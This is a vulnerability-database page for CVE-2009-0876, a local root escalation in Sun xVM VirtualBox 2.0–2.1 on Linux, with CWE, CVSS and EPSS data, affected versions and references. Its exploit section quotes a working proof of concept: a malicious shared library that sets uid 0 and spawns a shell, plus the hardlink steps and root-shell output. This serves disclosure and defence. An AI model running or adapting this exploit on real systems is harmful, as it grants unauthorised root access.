CVE-2009-0876 : Detail

CVE-2009-0876

A01-Broken Access Control
0.04%V3
Local
2009-03-12
14h00 +00:00
2017-08-16
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Sun xVM VirtualBox 2.0.0, 2.0.2, 2.0.4, 2.0.6r39760, 2.1.0, 2.1.2, and 2.1.4r42893 on Linux allows local users to gain privileges via a hardlink attack, which preserves setuid/setgid bits on Linux, related to DT_RPATH:$ORIGIN.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-59 Improper Link Resolution Before File Access ('Link Following')
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 32848

Publication date : 2009-03-09 23h00 +00:00
Author : Sun Microsystems
EDB Verified : Yes

source: https://www.securityfocus.com/bid/34080/info Sun xVM VirtualBox is prone to a local privilege-escalation vulnerability. An attacker can exploit this vulnerability to run arbitrary code with superuser privileges. The following versions for the Linux platform are vulnerable: Sun xVM VirtualBox 2.0 Sun xVM VirtualBox 2.1 $ id -u 1002 $ cat test.c #include <unistd.h> #include <sys/syscall.h> __attribute__((constructor)) void awesome(void) { char *argv[] = { "sh", NULL }; extern char *environ; syscall(SYS_setuid, 0); syscall(SYS_execve, "/bin/sh", argv, environ); } $ gcc -Wall test.c -fPIC -shared -o libdl.so.2 -Wl,-soname,libdl.so.2 $ ls -l /opt/VirtualBox/VirtualBox -r-s--x--x 2 root vboxusers 23808 2009-01-30 01:57 /opt/VirtualBox/VirtualBox $ ln /opt/VirtualBox/VirtualBox $ ls -l VirtualBox -r-s--x--x 2 root vboxusers 23808 2009-01-30 01:57 VirtualBox $ ./VirtualBox ./VirtualBox: /home/vapier/libdl.so.2: no version information available (required by ./VirtualBox) sh-4.0# whoami root

Products Mentioned

Configuraton 0

Sun>>Xvm_virtualbox >> Version 2.0.0

    Sun>>Xvm_virtualbox >> Version 2.0.2

      Sun>>Xvm_virtualbox >> Version 2.0.4

        Sun>>Xvm_virtualbox >> Version 2.0.6r39760

          Sun>>Xvm_virtualbox >> Version 2.1.0

            Sun>>Xvm_virtualbox >> Version 2.1.2

              Sun>>Xvm_virtualbox >> Version 2.1.4r42893

                Linux>>Linux_kernel >> Version *

                References

                http://www.securityfocus.com/bid/34080
                Tags : vdb-entry, x_refsource_BID
                http://www.vupen.com/english/advisories/2009/0674
                Tags : vdb-entry, x_refsource_VUPEN
                http://www.openwall.com/lists/oss-security/2009/03/15/1
                Tags : mailing-list, x_refsource_MLIST
                http://www.openwall.com/lists/oss-security/2009/03/17/2
                Tags : mailing-list, x_refsource_MLIST
                http://www.virtualbox.org/ticket/3444
                Tags : x_refsource_CONFIRM
                http://www.securitytracker.com/id?1021841
                Tags : vdb-entry, x_refsource_SECTRACK
                http://secunia.com/advisories/34232
                Tags : third-party-advisory, x_refsource_SECUNIA
                http://osvdb.org/52580
                Tags : vdb-entry, x_refsource_OSVDB
                http://sunsolve.sun.com/search/document.do?assetkey=1-66-254568-1
                Tags : vendor-advisory, x_refsource_SUNALERT